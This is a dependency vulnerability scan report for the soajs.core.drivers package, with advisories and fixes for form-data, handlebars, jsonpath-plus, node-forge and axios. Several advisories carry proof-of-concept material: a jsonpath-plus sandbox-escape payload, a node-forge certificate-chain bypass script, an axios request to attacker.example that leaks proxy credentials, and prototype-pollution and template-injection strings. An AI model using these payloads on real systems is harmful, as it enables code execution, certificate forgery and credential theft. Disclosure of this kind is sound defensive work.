Vulnerabilities |
158 via 581 paths |
|---|---|
Dependencies |
420 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: form-data
- Introduced through: request@2.88.0, ms-rest-azure@2.6.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the compile function. An attacker can execute arbitrary code by supplying a crafted Abstract Syntax Tree (AST) object with a malicious NumberLiteral value, which is emitted directly into generated JavaScript code without proper sanitization.
Note: This allows the attacker to inject and run arbitrary commands on the server. This is only exploitable if user-controlled JSON is deserialized and passed directly to the compile function.
Workaround
This vulnerability can be mitigated by validating that the input to the compile function is always a string and not a plain object or JSON-deserialized value, or by using the runtime-only build where compile is unavailable.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.10.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the compiler's handling of pre-parsed AST objects passed to compile or precompile. When a caller supplies a hand-built or attacker-influenced AST directly to the compiler, AST node values such as path depths, path parts, literal values, content strings, hash pair keys, and block params are written into generated JavaScript code without sufficient validation, allowing an attacker to inject arbitrary code into the compiled template output. The fix moves all AST value validation into the compiler itself, so that values are checked at the point they are written into generated code rather than only at parse time.
Remediation
Upgrade handlebars to version 4.7.10 or higher.
References
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › jsonpath-plus@0.19.0
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.
Note:
There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.
PoC
const { JSONPath } = require("jsonpath-plus");
const pathDoS =
"$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
"$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";
const result = JSONPath({
json: {
referrer: {
value: "http://authorized.com",
writable: true,
},
method: {
value: "POST",
writable: true,
},
body: {
value: "Hello, World!",
writable: true,
},
},
path: pathDoS,
});
result.toString(); //DoS
//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement
Remediation
Upgrade jsonpath-plus to version 10.2.0 or higher.
References
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › jsonpath-plus@0.19.0
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode.
Note:
This is caused by an incomplete fix for CVE-2024-21534.
Remediation
Upgrade jsonpath-plus to version 10.3.0 or higher.
References
critical severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Interpretation Conflict via the asn1.validate() function. An attacker can cause schema validation to become desynchronized, resulting in semantic divergence that may allow bypassing cryptographic verifications and security decisions, by passing in ASN.1 data with optional parameters that may be interpreted as object boundaries.
Remediation
Upgrade node-forge to version 1.3.2 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via manipulation of the @partial-block variable in the template data context. An attacker can execute arbitrary JavaScript code on the server by overwriting @partial-block with a crafted Handlebars AST and triggering its evaluation through a subsequent invocation.
Note: This is only exploitable if helpers that accept arbitrary objects are registered and allow mutation of the data context.
Workaround
This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), auditing registered helpers to prevent writing arbitrary values to context objects, and avoiding registration of helpers from third-party packages in contexts where templates or context data can be influenced by untrusted input.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the resolvePartial and invokePartial functions. An attacker can execute arbitrary code on the server by supplying a crafted object as a dynamic partial in the template context, which is then compiled and executed as JavaScript.
Note: This is only exploitable if the template uses dynamic partial lookups and the attacker can control the context property used for the lookup.
Workaround
This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), sanitizing context data to prevent non-primitive objects from being passed to dynamic partials, or avoiding dynamic partial lookups when context data is user-controlled.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.10.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the lookupProperty function in lib/handlebars/runtime.js, which returns the resolved value as soon as Object.prototype.hasOwnProperty.call(parent, propertyName) holds, without consulting the prototype access deny list, and constructor is an own property of every prototype object, so Function.prototype.constructor resolves to Function itself. An attacker can execute code on the server by rendering a template that walks to a prototype and reads its constructor, as in {{lookup (lookup fn "__proto__") "constructor"}}. This requires the attacker to control the template rather than only the data, and compilation with allowProtoMethodsByDefault: true.
Workaround
This vulnerability can be avoided by leaving allowProtoMethodsByDefault at its default of false when compiling untrusted templates.
Remediation
Upgrade handlebars to version 4.7.10 or higher.
References
critical severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request.
This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.
Notes
- The gadget only matters when the request body is a non-
FormDatapayload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path. - The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
critical severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
critical severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Certificate Validation in the verifyCertificateChain function. An attacker can gain unauthorized certificate authority capabilities by presenting a certificate chain where an intermediate certificate lacks both basicConstraints and keyUsage extensions, allowing the attacker to sign certificates for arbitrary domains and have them accepted as valid.
PoC
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
critical severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Certificate Validation in the pki.verifyCertificateChain function in lib/x509.js. An attacker can get a non-CA certificate accepted as a CA, and then impersonate any server or client the verifier trusts, by placing a second basicConstraints extension under the deprecated OIDs 2.5.29.10 or 2.5.29.13 with cA set TRUE, because lib/oids.js maps those OIDs to the same name and cert.getExtension() returns the first name match, so chain verification reads the forged extension in place of the genuine 2.5.29.19 one. This requires a CA that the application trusts to issue a certificate carrying the attacker-supplied deprecated-OID extension, as when a CA copies extensions from certificate requests through an OpenSSL copy_extensions workflow, and node-forge still rejects the chain if that issuer adds a keyUsage extension without keyCertSign.
Workaround
This vulnerability can be avoided with an options.verify callback that rejects any non-leaf certificate lacking a 2.5.29.19 basicConstraints extension with cA TRUE, and, on the issuance side, by configuring trusted CAs not to copy unrecognized extensions from certificate requests.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33896.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
critical severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Certificate Validation via pki.verifyCertificateChain() in lib/x509.js, which does not decode or enforce the X.509 nameConstraints extension (OID 2.5.29.30) during certificate path validation. A certificate authority whose nameConstraints extension is marked non-critical can issue a leaf certificate with a subjectAltName dNSName or subject commonName outside its permitted subtrees or inside its excluded subtrees, and the chain passes verification. This allows an attacker holding such a CA's private key, or able to obtain a certificate issued under it, to impersonate arbitrary names - including in TLS peer verification via forge.tls - defeating the namespace restriction the constraint was intended to enforce.
Note: This is only exploitable when a name-constrained CA with a non-critical nameConstraints extension chains to a root trusted by the application, and the attacker controls that CA's private key or can obtain an out-of-scope certificate from it. Chains without nameConstraints are unaffected, and chains with a critical nameConstraints extension were already rejected.
Workaround
Pass an options.verify callback to pki.verifyCertificateChain() (or verify to forge.tls.createConnection()) that returns an error when any CA certificate in the chain has an extension with id 2.5.29.30. This rejects all chains below a name-constrained CA, including valid ones. Trust anchors with the extension must be checked separately.
Remediation
Upgrade node-forge to version 1.4.3 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
